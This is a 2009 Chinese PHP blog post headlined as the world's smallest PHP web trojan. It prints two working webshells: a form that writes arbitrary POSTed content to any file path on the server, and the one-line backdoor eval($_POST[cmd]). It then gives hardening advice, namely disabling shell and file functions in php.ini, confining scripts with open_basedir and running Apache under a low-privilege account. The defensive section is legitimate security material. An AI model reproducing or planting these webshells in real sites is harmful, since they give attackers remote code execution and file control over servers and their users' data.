全世界最小的php网页木马一枚 附PHP木马的防范方法


Posted in PHP onOctober 09, 2009

php网页木马

<?php 
header("content-Type: text/html; charset=gb2312"); 
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); 
?> 
<form method="POST"> 
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>"> 
<br><br> 
<textarea name="text" COLS="70" ROWS="18" ></textarea> 
<br><br> 
<input type="submit" name="submit" value="保存"> 
<form> 
<?php 
if(isset($_POST['file'])) 
{ 
$fp = @fopen($_POST['file'],'wb'); 
echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!'; 
@fclose($fp); 
} 
?>

一句话php木马
<?php eval($_POST[cmd]);?>

PHP木马的防范方法
PHP是能让你生成动态网页的工具之一。PHP网页文件被当作一般HTML网页文件来处理并且在编辑时你可以用编辑HTML的常规方法编写PHP。
PHP代表,超文本预处理器(PHP: Hypertext Preprocessor),可以从PHP官方站点(http://www.php.net)自由下载。PHP遵守GNU公共许可(GPL),在这一许可下诞生了许多流行的软件诸如Linux和Emacs。PHP在大多数Unix平台,GUN/Linux和微软Windows平台上均可以运行。怎样在Windows环境的PC机器或Unix机器上安装PHP的资料可以在PHP官方站点上找到。安装过程很简单。
PHP的另一好处就在于他的安全性,随着现在互联网的发展,网络安全越来越受重视,PHP的诞生几乎代替了ASP,因为PHP对于安全方面的设置是极为简单的不像ASP那样需要很多的步骤,和禁用很多的服务。不过再好的东西也始终会有不足,如果默认设置的PHP同意也是不堪一击,因此本文就来讲一下如何对PHP进行一些安全方面的配置,来防止脚本木马的破坏。
一、防止php木马执行webshell
打开safe_mode, 在,php.ini中设置 disable_functions= passthru,exec,shell_exec,system 二者选一即可,也可都选。
二、防止跳出web目录
首先修改httpd.conf,如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路径。比如你的web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行: php_admin_value open_basedir /usr/local/apache/htdocs ,如果脚本要读取/usr/local/apache/htdocs以外的文件将不会被允许,如果错误显示打开的话会提示这样的错误: Warning: open_basedir restriction in effect. File is in wrong directory in /usr/local/apache/htdocs/open.php on line 4 等等。
三、防止php木马读写文件目录
在php.ini中的 disable_functions= passthru,exec,shell_exec,system 后面加上php处理文件的函数,主要有 fopen,mkdir,rmdir,chmod,unlink,dir,fopen,fread,fclose,fwrite,file_exists,closedir,is_dir,readdir.opendir,fileperms.copy,unlink,delfile 。即成为 disable_functions= passthru,exec,shell_exec,system,fopen,mkdir,rmdir,chmod,unlink,dir ,fopen,fread,fclose,fwrite,file_exists ,closedir,is_dir,readdir.opendir ,fileperms.copy,unlink,delfile 。
ok,大功告成,php木马拿我们没辙了,遗憾的是这样的话,利用文本数据库的那些东西就都不能用了。 如果是在windos平台下搭建的apache还需要注意一点,apache默认运行是system权限,必须给apache降降权限,如下:
net user apache f**kmicrosoft /add
net localgroup users apache /del
此时建立了一个不属于任何组的用户apche,只要打开计算机管理器-服务-apache服务的属性-log on-this account,在这里填入上面所建立的账户和密码,重启apache服务即可实现apache运行在低权限下。
总结:实际上还可以通过设置各个文件夹的权限,给每一个目录建立一个单独能读写的用户,来实现安全。当前很多虚拟主机提供商的流行配置方法,不过这种方法用于防止这里就显的有点大材小用了。只要我们管理员有安全意识,相对的禁闭不用的功能就可以保证网络安全的威胁。

下面是mcafee的安全设置,防止一些网页木马生成文件等。
https://3water.com/hack/list461_1.html

PHP 相关文章推荐
php中修改浏览器的User-Agent来伪装你的浏览器和操作系统
Jul 29 PHP
php中大括号作用介绍
Mar 22 PHP
PHP分页详细讲解(有实例)
Oct 30 PHP
Yii不依赖Model的表单生成器用法实例
Dec 04 PHP
codeigniter实现get分页的方法
Jul 10 PHP
详解php设置session(过期、失效、有效期)
Nov 12 PHP
PHP实现伪静态方法汇总
Jan 13 PHP
thinkphp实现图片上传功能
Jan 13 PHP
理解php依赖注入和控制反转
May 11 PHP
CI框架数据库查询之join用法分析
May 18 PHP
php 实现301重定向跳转实例代码
Jul 18 PHP
PHPMailer使用QQ邮箱实现邮件发送功能
Aug 18 PHP
PHP 字符串分割和比较
Oct 06 #PHP
PHP parse_url 一个好用的函数
Oct 03 #PHP
php面向对象全攻略 (十七) 自动加载类
Sep 30 #PHP
php面向对象全攻略 (十六) 对象的串行化
Sep 30 #PHP
php面向对象全攻略 (十五) 多态的应用
Sep 30 #PHP
php面向对象全攻略 (十四) php5接口技术
Sep 30 #PHP
php面向对象全攻略 (十二) 抽象方法和抽象类
Sep 30 #PHP
You might like
php记录日志的实现代码
2011/08/08 PHP
深入掌握include_once与require_once的区别
2013/06/17 PHP
PHP中使用循环实现的金字塔图形
2014/11/08 PHP
php实现统计网站在线人数的方法
2015/05/12 PHP
Thinkphp页面跳转设置跳转等待时间的操作
2019/10/16 PHP
JQuery UI皮肤定制
2009/07/27 Javascript
javascript 获取元素位置的快速方法 getBoundingClientRect()
2009/11/26 Javascript
js本身的局限性 别让javascript做太多事
2010/03/23 Javascript
javascript基于HTML5 canvas制作画箭头组件
2014/06/25 Javascript
实例讲解避免javascript冲突的方法
2016/01/03 Javascript
jQuery中判断对象是否存在的方法汇总
2016/02/24 Javascript
ES6中非常实用的新特性介绍
2016/03/10 Javascript
使用postMesssage()实现跨域iframe页面间的信息传递方法
2016/03/29 Javascript
简单谈谈Vue 模板各类数据绑定
2016/09/25 Javascript
AngularJS实现用户登录状态判断的方法(Model添加拦截过滤器,路由增加限制)
2016/12/12 Javascript
微信小程序 点击控件后选中其它反选实例详解
2017/02/21 Javascript
微信小程序 跳转传参数与传对象详解及实例代码
2017/03/14 Javascript
Ionic学习日记实现验证码倒计时
2018/02/08 Javascript
通过js动态创建标签,并设置属性方法
2018/02/24 Javascript
JavaScript寄生组合式继承原理与用法分析
2019/01/11 Javascript
js前端面试之同步与异步问题详解
2019/04/03 Javascript
Python中的yield浅析
2014/06/16 Python
python实现一次创建多级目录的方法
2015/05/15 Python
用Pygal绘制直方图代码示例
2017/12/07 Python
ubuntu安装mysql pycharm sublime
2018/02/20 Python
python将一组数分成每3个一组的实例
2018/11/14 Python
Python插入Elasticsearch操作方法解析
2020/01/19 Python
Tod’s英国官方网站:意大利奢华手工制作手袋和鞋履
2019/03/15 全球购物
中国汽车租赁行业头部企业:一嗨租车
2019/05/16 全球购物
Kiehl’s科颜氏西班牙官方网站:源自美国的植物护肤品牌
2020/02/22 全球购物
旷课检讨书2000字
2014/01/14 职场文书
普通党员个人对照检查材料
2014/09/18 职场文书
2014年科研工作总结
2014/12/03 职场文书
建筑质检员岗位职责
2015/04/08 职场文书
mysql查找连续出现n次以上的数字
2022/05/11 MySQL
Redis特殊数据类型bitmap位图
2022/06/01 Redis